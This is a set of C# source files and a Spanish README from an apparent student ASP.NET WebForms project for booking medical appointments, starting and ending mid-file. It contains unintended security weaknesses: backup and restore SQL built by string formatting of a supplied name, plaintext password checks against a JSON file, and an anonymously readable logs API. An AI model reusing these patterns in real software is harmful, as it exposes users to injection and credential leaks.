protected void Page_Load(object sender, EventArgs e)
{
}
protected void btnExportar_Click(object sender, EventArgs e)
{
var host = string.Join("/", System.Web.HttpContext.Current.Request.Url.ToString().Split('/').Take(3));
var url = host + Page.ResolveUrl("~/api/Logs");
HttpWebRequest request = HttpWebRequest.CreateHttp(url);
request.Accept ="application/xml";
var response = request.GetResponse();
var outputStream = File.OpenWrite(Server.MapPath(Page.ResolveUrl("~/App_Data/Export.xml")));
response.GetResponseStream().CopyTo(outputStream);
outputStream.Flush();
outputStream.Close();
//File.WriteAllBytes(Page.ResolveUrl("~/App_Data/Export.xml"), response.GetResponseStream().To);
//Server.MapPath()
}
}
}<file_sep>using System.Collections.Generic;
namespace SaludArTE.Data
{
public interface IBackupManager
{
bool Backup(string name);
IList<string> GetAvailableBackups();
bool Restore(string name);
}
}<file_sep>using System;
using SaludArTE.Data;
using StructureMap;
namespace SaludArTE.IoC
{
public class DataRegistry : Registry
{
public DataRegistry()
{
this.Scan(x =>
{
x.AssemblyContainingType<Data.IDbContext>();
x.WithDefaultConventions();
});
this.For<IDbContext>().Use(container => container.GetInstance<IUnitOfWorkHelper>().DbContext);
}
}
}<file_sep>using System;
namespace SaludArTE.IoC
{
public class GlobalContainer : IContainer
{
private readonly StructureMap.IContainer _container;
#region "Singleton"
private static readonly Lazy<GlobalContainer> GlobalContainerInstance = new Lazy<GlobalContainer>(() => new GlobalContainer());
public static GlobalContainer DefaultInstance
{
get { return GlobalContainerInstance.Value; }
}
#endregion
public GlobalContainer()
{
_container = new StructureMap.Container(_ =>
{
_.AddRegistry<DataRegistry>();
_.AddRegistry<BllRegistry>();
});
}
private GlobalContainer(StructureMap.IContainer structureMapContainer)
{
_container = structureMapContainer;
}
public IContainer GetNestedContainer()
{
return new GlobalContainer(_container.GetNestedContainer());
}
internal StructureMap.IContainer GetStructureMapContainer()
{
return _container;
}
public T GetInstance<T>()
{
return _container.GetInstance<T>();
}
public object GetInstance(Type type)
{
return _container.GetInstance(type);
}
public void Dispose()
{
_container.Dispose();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
namespace SaludArTE.Data.RedundancyCheck
{
/// <summary>
/// Modela la excepción para cuando se detectó alguna inconsistencia con los dígitos verificadores
/// </summary>
public class DatabaseCorruptedException : Exception
{
public DatabaseCorruptedException(IEnumerable<string> affectedEntities)
{
this.AffectedEntities = affectedEntities.ToArray();
}
public string[] AffectedEntities { get; private set; }
}
}
<file_sep># uai-lppa-tp
Este proyecto fue presentado para el final de la materia **T109 37 - LENGUAJES DE PROGRAMACIÓN PARA LA ADMINISTRACIÓN** de la carrera Ing. en Sistemas Informáticos de la Universidad Abierta Interamericana.
El objetivo era mostrar un sitio web con funcionalidades básicas de Login/Logout que muestre diferentes pantallas según el rol del usuario (Autorización basada en roles) y un caso de uso funcional que es la solicitud de turnos en un calendario.
Las restricciones impuestas por la cátedra son:
* Debe utilizar controles WebForms
* La autenticación debe hacerse mediante Cookies
* (Opcional) Consumo de un servicio web
El código se encuentra divido en 3 proyectos codificados en C#.
* SaludArTE.Entities
* Es la capa de entidades
* Cada entidad no tiene comportamiento, solamente propiedades get/set
* SaludArTE.Data
* Ofrece las abstracciones necesarias para trabajar con el repositorio de datos mediante el objeto `UnitOfWorkHelper` a bajo nivel, a alto nivel se encapsula en un “Repository Pattern” por cada entidad importante.
* Contiene los mappers para las diferentes entidades en el espacio de nombres `Mappers`
* Encapsula la funcionalidad de integridad de los dígitos verificadores en el espacio de nombres `RedundancyCheck`
* SaludArTE (GUI)
* Utiliza tecnología ASP.NET WebForms para la presentación (páginas .aspx)
* Consume servicios web con los datos de la agenda con llamadas ajax siguiendo una arquitectura REST, representando recursos en notación JSON.
* Tiene separada la lógica de negocios en el espacio de nombres BLL
* Controla la autenticación mediante el módulo de ASP.NET FormsAuthentication
* Controla la autorización a cada página según en qué carpeta se encuentran.
- `~/*` accesible a cualquier usuario identificado
- `~/BackendPages/*` accesible sólo para usuarios con rol “backend”
- `~/AdminPages/*` accesible sólo para usuarios con el rol “admin”
<file_sep>using System;
using System.Collections.Generic;
using Newtonsoft.Json.Linq;
using System.Web;
using System.IO;
using System.Text;
using System.Linq;
using Newtonsoft.Json;
using SaludArTE.Data.Repositories;
namespace SaludArTE.Models.Repositories
{
public class AppointmentsRepository
{
public IEnumerable<Appointment> GetAll()
{
return this.LoadFromInternalFile()
.Select(obj => MapFromJson((JObject)obj))
//.Select(a => new { id = a.Id, title = a.Title, start = a.Start, end = a.End })
.ToArray();
}
private JArray LoadFromInternalFile()
{
var filename = HttpContext.Current.Server.MapPath("~/App_Data/Appointments.json");
return JArray.Parse(File.ReadAllText(filename, Encoding.UTF8));
}
private Appointment MapFromJson(JObject jsonAppointment)
{
return jsonAppointment == null ? null : JsonConvert.DeserializeObject<Appointment>(jsonAppointment.ToString());
}
}
}<file_sep>using System;
using System.Linq;
using System.Collections.Generic;
using System.Data.Entity;
using System.Data.SqlClient;
using System.Data;
namespace SaludArTE.Data
{
public class SqlServerBackupManager : IBackupManager
{
private Database _currentDatabase;
private SqlConnectionStringBuilder _cnnStringBuilder;
private string _databaseName;
private IDbConnection _masterDbConnection;
public SqlServerBackupManager(IDbContext context)
{
var dbContext = (DbContext)context;
_currentDatabase = dbContext.Database;
_currentDatabase.Connection.Open();
_databaseName = _currentDatabase.Connection.Database;
_currentDatabase.Connection.Close();
//Cambio a la master asociada
_cnnStringBuilder = new SqlConnectionStringBuilder(_currentDatabase.Connection.ConnectionString);
_cnnStringBuilder.AttachDBFilename = "";
_cnnStringBuilder.InitialCatalog = "master";
var masterCnnString = _cnnStringBuilder.ToString();
_masterDbConnection = new System.Data.SqlClient.SqlConnection(masterCnnString);
}
public bool Backup(string name)
{
var sql = string.Format("BACKUP DATABASE [{0}] TO DISK = '{1}_{2:yyyyMMddhhmmss}.bak'", _databaseName, name, DateTime.Now);
_currentDatabase.ExecuteSqlCommand(TransactionalBehavior.DoNotEnsureTransaction, sql);
return true;
}
public bool Restore(string name)
{
_masterDbConnection.Open();
try
{
var sql = string.Format("ALTER DATABASE [{0}] SET SINGLE_USER WITH ROLLBACK IMMEDIATE; RESTORE DATABASE [{0}] FROM DISK = '{1}' WITH REPLACE", _databaseName, name);
//var sql = string.Format("DROP DATABASE [{0}]; RESTORE DATABASE [{0}] FROM DISK = '{1}' WITH RECOVERY", _databaseName, name);
var command = _masterDbConnection.CreateCommand();
command.CommandText = sql;
command.CommandTimeout = 0;
command.ExecuteNonQuery();
}
catch (Exception)
{
throw;
}
finally
{
if(_masterDbConnection.State != ConnectionState.Closed)
_masterDbConnection.Close();
}
return true;
}
public IList<string> GetAvailableBackups()
{
string sql;
using (var stream = this.GetType().Assembly.GetManifestResourceStream(this.GetType(), "Scripts.ListAvailableBackups.sql"))
sql = new System.IO.StreamReader(stream).ReadToEnd();
var backupSetInfos = _currentDatabase.SqlQuery<BackupSetInfo>(sql).ToArray();
return backupSetInfos.Select(b => b.physical_device_name).ToList();
}
private class BackupSetInfo
{
public string Server { get; set; }
public string physical_device_name { get; set; }
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data.Entity;
using System.Linq;
using SaludArTE.Data.RedundancyCheck;
using SaludArTE.Entities.RedundancyCheck;
namespace SaludArTE.Data
{
public interface IUnitOfWorkHelper : IDisposable
{
IDbContext DbContext { get; }
IBackupManager BackupManager { get; }
void CheckDatabaseIntegrity();
}
/// <summary>
/// Modela el patrón Unit Of Work para contener las transacciones a nivel de Db
/// </summary>
public class UnitOfWorkHelper : IUnitOfWorkHelper
{
private readonly Lazy<IDbContext> _dbContext;
private readonly IRedundancyCheckAnalyzer _redundancyCheckAnalyzer = new RedundancyCheckAnalyzer();
public UnitOfWorkHelper()
{
_dbContext = new Lazy<IDbContext>(() => new DbContext(_redundancyCheckAnalyzer));
}
public IDbContext DbContext
{
get { return _dbContext.Value; }
}
public IBackupManager BackupManager
{
get { return new SqlServerBackupManager(this.DbContext); }
}
public void CheckDatabaseIntegrity()
{
var corruptedEntityNames = new List<string>();
var entityWithRedundancyCheckType = typeof(IEntityWithRedundancyCheck);
foreach (PropertyDescriptor property in TypeDescriptor.GetProperties(typeof(IDbContext)))
{
if (property.PropertyType.IsConstructedGenericType)
{
var entityType = property.PropertyType.GetGenericArguments()[0];
var isEntityWithRedundancyCheck = entityWithRedundancyCheckType.IsAssignableFrom(entityType);
if (isEntityWithRedundancyCheck) //Debo validar los dígitos verificadores de dicha entidad
{
var entityDbSet = (IQueryable)property.GetValue(this.DbContext);
if(this.IsEntityCorrupted(entityDbSet, entityType))
corruptedEntityNames.Add(entityType.FullName);
}
}
}
//Reviento si al menos existe una entidad corrupta
if(corruptedEntityNames.Any())
throw new DatabaseCorruptedException(corruptedEntityNames);
}
private bool IsEntityCorrupted(IQueryable entityDbSet, Type entityType)
{
var crcs = new List<byte[]>();
foreach (IEntityWithRedundancyCheck entity in entityDbSet.AsNoTracking())
{
if (!_redundancyCheckAnalyzer.IsValid(entity)) //Encontre un registro corrupto
return true;
crcs.Add(entity.CRC);
}
//Calculo el hash vertical con todos los CRC individuales y lo comparo con lo que tengo almacenado
var verticalChecksum = _redundancyCheckAnalyzer.CalculateHashFromMultipleCRCs(crcs);
var savedVerticalDigitCheck = this.DbContext.CheckDigits.Find(entityType.FullName);
return !verticalChecksum.SequenceEqual(savedVerticalDigitCheck.Checksum);
}
#region IDisposable Support
private bool disposedValue = false; // Para detectar llamadas redundantes
protected virtual void Dispose(bool disposing)
{
if (!disposedValue)
{
if (disposing)
{
if (_dbContext.IsValueCreated)
((IDisposable)_dbContext.Value).Dispose();
// TODO: elimine el estado administrado (objetos administrados).
}
// TODO: libere los recursos no administrados (objetos no administrados) y reemplace el siguiente finalizador.
// TODO: configure los campos grandes en nulos.
disposedValue = true;
}
}
// TODO: reemplace un finalizador solo si el anterior Dispose(bool disposing) tiene código para liberar los recursos no administrados.
// ~UnitOfWorkHelper() {
// // No cambie este código. Coloque el código de limpieza en el anterior Dispose(colocación de bool).
// Dispose(false);
// }
// Este código se agrega para implementar correctamente el patrón descartable.
public void Dispose()
{
// No cambie este código. Coloque el código de limpieza en el anterior Dispose(colocación de bool).
Dispose(true);
// TODO: quite la marca de comentario de la siguiente línea si el finalizador se ha reemplazado antes.
// GC.SuppressFinalize(this);
}
#endregion
}
}
<file_sep>using System;
using System.IO;
using System.Linq;
using System.Text;
using System.Web;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
namespace SaludArTE.Models.Repositories
{
public interface IUsersRepository
{
User Get(Guid id);
User Get(string username);
User ValidateCredentials(string username, string password);
}
public class UsersRepository : IUsersRepository
{
private JArray LoadFromInternalFile()
{
var filename = HttpContext.Current.Server.MapPath("~/App_Data/Users.json");
return JArray.Parse(File.ReadAllText(filename, Encoding.UTF8));
}
public User Get(Guid id)
{
var users = this.LoadFromInternalFile();
var jObject = (JObject)users.FirstOrDefault(obj => obj.Value<Guid>("Id").Equals(id));
return MapFromJson(jObject);
}
public User Get(string username)
{
var users = this.LoadFromInternalFile();
var jObject = (JObject)users.FirstOrDefault(obj => obj.Value<string>("Username").Equals(username));
return MapFromJson(jObject);
}
public User ValidateCredentials(string username, string password)
{
var users = this.LoadFromInternalFile();
var jObject = (JObject)users.SingleOrDefault(obj => obj.Value<string>("Username").Equals(username) && obj.Value<string>("Password").Equals(password));
return MapFromJson(jObject);
}
private User MapFromJson(JObject jsonUser)
{
return jsonUser == null ? null : JsonConvert.DeserializeObject<User>(jsonUser.ToString());
}
}
}<file_sep>using SaludArTE.BLL;
using SaludArTE.Models;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
namespace SaludArTE.Controllers
{
public class AppointmentsController : ApiController
{
private readonly Appointments _appointmentsBll;
public AppointmentsController(Appointments appointmentsBll)
{
_appointmentsBll = appointmentsBll;
}
// GET api/<controller>
public IEnumerable<Appointment> Get()
{
return _appointmentsBll.GetAll();
}
// GET api/<controller>/5
public string Get(int id)
{
return "value";
}
// POST api/<controller>
public void Post([FromBody]string value)
{
}
// PUT api/<controller>/5
public void Put(int id, [FromBody]string value)
{
}
// DELETE api/<controller>/5
public void Delete(int id)
{
}
}
}<file_sep>using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.ModelConfiguration;
using SaludArTE.Entities.RedundancyCheck;
namespace SaludArTE.Data.Mappers
{
public class VerticalCheckDigitMap : EntityTypeConfiguration<VerticalCheckDigit>
{
public VerticalCheckDigitMap()
{
this.HasKey(l => l.EntityName);
this.Property(l => l.EntityName)
.HasDatabaseGeneratedOption(DatabaseGeneratedOption.None);
}
}
}
<file_sep>using SaludArTE.Data;
using System.Collections.Generic;
namespace SaludArTE.BLL
{
public static class BackupManager
{
public static bool Backup(string name)
{
var backupManager = GetBackupManager();
return backupManager.Backup(name);
}
public static IList<string> GetAvailableBackups()
{
var backupManager = GetBackupManager();
return backupManager.GetAvailableBackups();
}
public static bool Restore(string name)
{
var backupManager = GetBackupManager();
return backupManager.Restore(name);
}
private static IBackupManager GetBackupManager()
{
return Global.CurrentUnitOfWorkHelper.BackupManager;
}
}
}<file_sep>using StructureMap;
namespace SaludArTE.IoC
{
public class BllRegistry : Registry
{
public BllRegistry()
{
this.Scan(x =>
{
x.TheCallingAssembly();
x.AssemblyContainingType<BLL.Appointments>();
x.WithDefaultConventions();
});
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Http;
using SaludArTE.Models;
using SaludArTE.Models.Repositories;
namespace SaludArTE.Controllers
{
[AllowAnonymous]
public class LogsController : ApiController
{
private readonly ILogEntriesRepository _repository;
public LogsController()
:this(new LogEntriesRepository())
{
}
public LogsController(ILogEntriesRepository repository)
{
_repository = repository;
}
// GET api/<controller>
public IEnumerable<LogEntry> Get()
{
return _repository.GetAll().ToArray();
}
// GET api/<controller>/5
public LogEntry Get(Guid id)
{
var entry = _repository.Get(id);
return entry;
}
// POST api/<controller>
public void Post(LogEntry value)
{
//TODO
}
// PUT api/<controller>/5
public void Put(LogEntry value)
{
if (ModelState.IsValid)
{
value.Id = Guid.Empty; //Evito un posible OverPosting
_repository.Update(value);
}
}
// DELETE api/<controller>/5
public void Delete(Guid id)
{
//TODO
}
}
}<file_sep>using System;
using System.Linq;
using System.Web.Security;
using SaludArTE.Models.Repositories;
namespace SaludArTE
{
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
this.Title = "Bienvenido";
if (IsPostBack)
{
var rememberMeChecked = false;
bool.TryParse(this.Request.Form["remember"], out rememberMeChecked);
this.ExecuteLoginProcess(this.Request.Form["username"], this.Request.Form["password"], rememberMeChecked);
}
}
private void ExecuteLoginProcess(string username, string password, bool rememberMe)
{
Global.ComprobarIntegridadBaseDeDatos();
var usersRepository = this.RequestContainer().GetInstance<IUsersRepository>();
var validatedUser = usersRepository.ValidateCredentials(username, password);
if (validatedUser != null)
{
//Let us now set the authentication cookie so that we can use that later.
FormsAuthentication.SetAuthCookie(validatedUser.Username, rememberMe);
//Login successful lets put him to requested page
var returnUrl = Request.QueryString["ReturnUrl"] as string;
if (!string.IsNullOrWhiteSpace(returnUrl) && returnUrl.EndsWith(".aspx"))
Response.Redirect(returnUrl);
else
{
//no return URL specified so lets kick him to home page
if(validatedUser.Roles.Any(r => r.Equals("admin")))
Response.Redirect("~/AdminPages/Default.aspx");
if (validatedUser.Roles.Any(r => r.Equals("backend")))
Response.Redirect("~/BackendPages/Default.aspx");
Response.Redirect("~/Default.aspx");
}
}
else
this.validationSummary.Visible = true;
}
}
}<file_sep>using System;
using SaludArTE.Entities;
using System.Collections.Generic;
namespace SaludArTE.Data.Repositories
{
public interface IAppointmentsRepository
{
IEnumerable<Appointment> GetAll();
Appointment GetById(Guid id);
Appointment Create();
void Save(Appointment appointment);
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using SaludArTE.Data.Repositories;
namespace SaludArTE.BLL
{
public class Appointments
{
private readonly IAppointmentsRepository _appointmentsRepository;
public Appointments(IAppointmentsRepository appointmentsRepository)
{
_appointmentsRepository = appointmentsRepository;
}
public IEnumerable<Models.Appointment> GetAll()
{
//Cargo de la base de datos y mapeo al modelo de vista
return _appointmentsRepository.GetAll()
.Select(a => new Models.Appointment
{
Id = a.Id.ToString(),
Start = a.Start,
End = a.End,
Title = a.Title,
Url = a.Url
});
}
public Models.Appointment CreateAppointment(DateTime dateTime, Guid patientId, Guid physicianId)
{
var vm = new Models.Appointment
{
Start = dateTime,
End = dateTime.AddMinutes(10),
Title = "Consulta con " + "Neurología",
PatientId = patientId,
};
//TODO: Esta responsabilidad debería ser controller para hacer el mapeo entre VM -> DM
var model = new Entities.Appointment
{
Start = vm.Start,
End = vm.End,
Title = vm.Title
};
_appointmentsRepository.Save(model);
return vm;
}
}
}<file_sep>using System;
namespace SaludArTE.Entities
{
/// <summary>
/// Modela un registro de la bitácora
/// </summary>
public class LogEntry
{
public Guid Id { get; set; }
public DateTime Date { get; set; }
public string Username { get; set; }
public string Description { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SaludArTE.Entities;
namespace SaludArTE.Data
{
public class DataContextInitializer : DropCreateDatabaseIfModelChanges<DbContext>
{
protected override void Seed(DbContext context)
{
var defaultAppointments = new List<Appointment>();
defaultAppointments.Add(new Appointment() { Title = "Consulta Odontologia", Start = new DateTime(2017,11, 17, 10, 30, 00) });
//defaultAppointments.Add(new Appointment() { Title = "Consulta Odontologia", Start = new DateTime(2017, 11, 17, 10, 30, 00) });
//defaultAppointments.Add(new Appointment() { Title = "Consulta Odontologia", Start = new DateTime(2017, 11, 17, 10, 30, 00) });
foreach (var std in defaultAppointments)
context.Appointments.Add(std);
base.Seed(context);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using SaludArTE.Entities;
namespace SaludArTE.Data.Repositories
{
public class AppointmentsRepository : IAppointmentsRepository
{
private IDbContext _context;
public AppointmentsRepository(IDbContext context)
{
_context = context;
}
public IEnumerable<Appointment> GetAll()
{
return _context.Appointments.ToArray();
}
public Appointment GetById(Guid id)
{
return _context.Appointments.Find(id);
}
public Appointment Create()
{
return _context.Appointments.Create();
}
public void Save(Appointment appointment)
{
if (appointment.Id.Equals(Guid.Empty))
_context.Appointments.Add(appointment);
else
_context.Appointments.Attach(appointment);
}
}
}
<file_sep>using System;
using SaludArTE.Entities.RedundancyCheck;
namespace SaludArTE.Entities
{
public class Appointment : IEntityWithRedundancyCheck
{
public Guid Id { get; set; }
[FieldMarkedForRedundancy(Order = 1)]
public string Title { get; set; }
[FieldMarkedForRedundancy(Order = 2)]
public DateTime Start { get; set; }
[FieldMarkedForRedundancy(Order = 3)]
public DateTime? End { get; set; }
public string Url { get; set; }
public byte[] CRC { get; set; }
}
}
<file_sep>using System;
using System.Web;
using System.Web.UI;
using SaludArTE.Data;
using SaludArTE.IoC;
using SaludArTE.Models.Infrastructure;
namespace SaludArTE
{
public static class PageExtensions
{
/// <summary>
/// Devuelve el contenedor utilizado en este request para la inyección de dependencias
/// </summary>
/// <param name="thisPage"></param>
/// <returns></returns>
public static IContainer RequestContainer(this Page thisPage)
{
return Global.CurrentContainer;
}
/// <summary>
/// Devuelve la unidad de trabajo correspondiente al request en curso
/// </summary>
/// <param name="thisPage"></param>
/// <returns></returns>
public static IUnitOfWorkHelper CurrentUnitOfWork(this Page thisPage)
{
return Global.CurrentUnitOfWorkHelper;
}
/// <summary>
/// Devuelve el usuario logueado actualmente en el sistema
/// </summary>
/// <param name="thisPage"></param>
/// <returns></returns>
public static ApplicationPrincipal CurrentUser(this Page thisPage)
{
return thisPage.User as ApplicationPrincipal;
}
}
}<file_sep>using System;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.ModelConfiguration;
using SaludArTE.Entities;
namespace SaludArTE.Data.Mappers
{
public class AppointmentMap : EntityTypeConfiguration<Appointment>
{
public AppointmentMap()
{
this.HasKey(a => a.Id);
this.Property(a => a.Id)
.HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity);
}
}
}
<file_sep>using System;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.ModelConfiguration;
using SaludArTE.Entities;
namespace SaludArTE.Data.Mappers
{
public class UserMap : EntityTypeConfiguration<User>
{
public UserMap()
{
this.HasKey(u => u.Id);
this.Property(u => u.Id)
.HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity);
}
}
}
<file_sep>using System.Collections.Generic;
using SaludArTE.Entities.RedundancyCheck;
namespace SaludArTE.Data.RedundancyCheck
{
public interface IRedundancyCheckAnalyzer
{
bool IsValid(IEntityWithRedundancyCheck entity);
byte[] CalculateHashForEntity(IEntityWithRedundancyCheck entity);
byte[] CalculateHashFromMultipleCRCs(IEnumerable<byte[]> crcs);
}
}<file_sep>namespace SaludArTE.Entities.RedundancyCheck
{
public interface IEntityWithRedundancyCheck
{
byte[] CRC { get; set; }
}
}
<file_sep>using System;
namespace SaludArTE.Entities.RedundancyCheck
{
[AttributeUsage(AttributeTargets.Property, AllowMultiple = true, Inherited = true)]
public class FieldMarkedForRedundancyAttribute : Attribute
{
public int Order { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using SaludArTE.Data.RedundancyCheck;
using System.Data.Entity.Infrastructure;
using SaludArTE.Entities.RedundancyCheck;
namespace SaludArTE.Data
{
/// <inheritdoc />
/// <summary>
/// Ofrece una capa de abstracción para abstraer al Contexto final de las cuestiones relacionadas con los dígitos verificadores
/// </summary>
public abstract class DbContextWithRedundancyChecking : System.Data.Entity.DbContext
{
private readonly IRedundancyCheckAnalyzer _redundancyCheckAnalyzer;
public DbContextWithRedundancyChecking(string cnnString, IRedundancyCheckAnalyzer redundancyCheckAnalyzer)
:base(cnnString)
{
_redundancyCheckAnalyzer = redundancyCheckAnalyzer;
}
public override int SaveChanges()
{
var affectedTypes = this.RecalculateCRCs();
var retCode = base.SaveChanges();
this.UpdateVerticalCheckDigits(affectedTypes);
return retCode;
}
public override Task<int> SaveChangesAsync(CancellationToken cancellationToken)
{
var affectedTypes = this.RecalculateCRCs();
var retCode = base.SaveChangesAsync(cancellationToken);
this.UpdateVerticalCheckDigits(affectedTypes);
return retCode;
}
private Type[] RecalculateCRCs()
{
var affectedEntityGroupTypes = new List<Type>();
var added = this.ChangeTracker.Entries().Where(e => e.State == EntityState.Added);
var deleted = this.ChangeTracker.Entries().Where(e => e.State == EntityState.Deleted);
var modified = this.ChangeTracker.Entries().Where(e => e.State == EntityState.Modified);
this.RecalculateIndividualCRCs(affectedEntityGroupTypes, added.Concat(modified)); //Afectan cada Digito Horizontal
this.RecalculateGroupCRCs(affectedEntityGroupTypes, deleted); //Afectan solo al Digito Vertical
return affectedEntityGroupTypes.Distinct().ToArray();
}
private void RecalculateIndividualCRCs(IList<Type> affectedEntityGroupTypes, IEnumerable<DbEntityEntry> entries)
{
foreach (var dbEntityEntry in entries)
{
var entityWithCRC = dbEntityEntry.Entity as IEntityWithRedundancyCheck;
if (entityWithCRC != null)
{
entityWithCRC.CRC = _redundancyCheckAnalyzer.CalculateHashForEntity(entityWithCRC);
var entityType = GetEntityType(entityWithCRC);
affectedEntityGroupTypes.Add(entityType);
}
}
}
private void UpdateVerticalCheckDigits(Type[] affectedTypes)
{
foreach (var affectedGroupType in affectedTypes)
{
var entityName = affectedGroupType.FullName;
var checksum = this.CalculateChecksumForEntityType(affectedGroupType);
var vcd = this.Set<VerticalCheckDigit>().Find(entityName);
if (vcd == null)
{
vcd = this.Set<VerticalCheckDigit>().Create();
this.Set<VerticalCheckDigit>().Add(vcd);
}
vcd.EntityName = entityName;
vcd.Checksum = checksum;
}
//Vuelvo a grabar los cambios de los dígitos verificadores verticales
base.SaveChanges();
}
private static Type GetEntityType(IEntityWithRedundancyCheck entityWithCRC)
{
return System.Data.Entity.Core.Objects.ObjectContext.GetObjectType(entityWithCRC.GetType());
}
private void RecalculateGroupCRCs(IList<Type> affectedEntityGroupTypes, IEnumerable<DbEntityEntry> entries)
{
foreach (var dbEntityEntry in entries)
{
var entityWithCRC = dbEntityEntry.Entity as IEntityWithRedundancyCheck;
if (entityWithCRC != null)
affectedEntityGroupTypes.Add(GetEntityType(entityWithCRC));
}
}
private byte[] CalculateChecksumForEntityType(Type entityType)
{
var crcs = new List<byte[]>();
foreach (IEntityWithRedundancyCheck entity in this.Set(entityType))
crcs.Add(entity.CRC);
var verticalChecksum = _redundancyCheckAnalyzer.CalculateHashFromMultipleCRCs(crcs);
return verticalChecksum;
}
}
}
<file_sep>using System;
using System.Web.Security;
namespace SaludArTE
{
public partial class Logout : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (this.Request.HttpMethod == "POST")
this.ExecuteLogout();
Response.Redirect(FormsAuthentication.LoginUrl);
}
private void ExecuteLogout()
{
//Cierro la sesión del usuario borrando el ticket de autenticación
FormsAuthentication.SignOut();
}
}
}<file_sep>using System;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.ModelConfiguration;
using SaludArTE.Entities;
namespace SaludArTE.Data.Mappers
{
public class LogEntryMap : EntityTypeConfiguration<LogEntry>
{
public LogEntryMap()
{
this.HasKey(l => l.Id);
this.Property(l => l.Id)
.HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity);
}
}
}
<file_sep>using System;
using SaludArTE.Data.Mappers;
using SaludArTE.Entities;
using System.Data.Entity;
using SaludArTE.Data.RedundancyCheck;
using SaludArTE.Entities.RedundancyCheck;
namespace SaludArTE.Data
{
public interface IDbContext
{
IDbSet<User> Users { get; }
IDbSet<Appointment> Appointments { get; }
IDbSet<LogEntry> LogEntries { get; }
IDbSet<VerticalCheckDigit> CheckDigits { get; }
int SaveChanges();
}
public class DbContext : DbContextWithRedundancyChecking, IDbContext
{
static DbContext()
{
Database.SetInitializer(new DataContextInitializer());
}
public DbContext(IRedundancyCheckAnalyzer redundancyCheckAnalyzer)
:base("ApplicationDbContext", redundancyCheckAnalyzer)
{
}
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
base.OnModelCreating(modelBuilder);
modelBuilder.Configurations.Add(new UserMap());
modelBuilder.Configurations.Add(new AppointmentMap());
modelBuilder.Configurations.Add(new LogEntryMap());
modelBuilder.Configurations.Add(new VerticalCheckDigitMap());
}
public IDbSet<User> Users { get; set; }
public IDbSet<Appointment> Appointments { get; set; }
public IDbSet<LogEntry> LogEntries { get; set; }
public IDbSet<VerticalCheckDigit> CheckDigits { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using SaludArTE.Data.Repositories;
namespace SaludArTE.BLL
{
public class LogEntries
{
private readonly ILogEntriesRepository _logEntriesRepository;
public LogEntries(ILogEntriesRepository logEntriesRepository)
{
_logEntriesRepository = logEntriesRepository;
}
}
}<file_sep>using System;
using System.Globalization;
using SaludArTE.BLL;
using SaludArTE.Models;
using SaludArTE.Properties;
namespace SaludArTE
{
public partial class CreateAppointment : System.Web.UI.Page
{
private readonly Appointments _appointmentsBll;
public CreateAppointment()
: this(Global.CurrentContainer.GetInstance<Appointments>())
{
}
public CreateAppointment(Appointments appointmentsBll)
{
_appointmentsBll = appointmentsBll;
}
protected void Page_Load(object sender, EventArgs e)
{
if (Page.IsPostBack)
ProcessPostBack();
this.lblNewAppointment.InnerText = Resources.Appointment_NewAppointment;
var appointmentDate = DateTime.Parse(this.Request.QueryString["dt"], null, DateTimeStyles.RoundtripKind);
this.CreateViewModel(appointmentDate);
}
private void ProcessPostBack()
{
var eventStartTime = DateTime.Parse(this.Request.Form["EventTime"], null, DateTimeStyles.RoundtripKind);
var patientId = Guid.Parse(this.Request.Form["PatientId"]);
var physicianId = Guid.Parse(this.Request.Form["PhysicianId"]);
_appointmentsBll.CreateAppointment(eventStartTime, patientId, physicianId);
this.CurrentUnitOfWork().DbContext.SaveChanges();
Response.Redirect(Page.ResolveUrl("~/RequestAppointment.aspx"));
}
private void CreateViewModel(DateTime appointmentDate)
{
var currentUser = this.CurrentUser();
this.ViewModel = new Appointment
{
Start = appointmentDate,
End = appointmentDate.AddMinutes(10),
Title = "Consulta con " + "Neurología",
PatientId = currentUser.Sid,
PatientName = currentUser.GivenName
};
}
public Appointment ViewModel { get; set; }
}
}<file_sep>using System;
namespace SaludArTE
{
public partial class Common : System.Web.UI.MasterPage
{
protected void Page_Load(object sender, EventArgs e)
{
if (Global.ModoMantenimiento)
{
if(!this.Page.AppRelativeVirtualPath.EndsWith("BackupRestore.aspx") && !this.Page.AppRelativeVirtualPath.EndsWith("Login.aspx"))
Response.Redirect("~/MaintenanceMode.aspx");
}
}
}
}<file_sep>using SaludArTE.Entities;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SaludArTE.Data.Repositories
{
public interface ILogEntriesRepository
{
IEnumerable<LogEntry> GetAll();
}
}
<file_sep>using System;
namespace SaludArTE.IoC
{
public interface IContainer : IDisposable
{
T GetInstance<T>();
object GetInstance(Type type);
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SaludArTE.Entities
{
/// <summary>
/// Modela un usuario de la aplicación
/// </summary>
public class User
{
public Guid Id { get; set; }
public string Username { get; set; }
public IList<string> Roles { get; set; }
public string GivenName { get; set; }
}
}
<file_sep>using SaludArTE.BLL;
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.Mvc;
using System.Web.Security;
using SaludArTE.Properties;
namespace SaludArTE.AdminPages
{
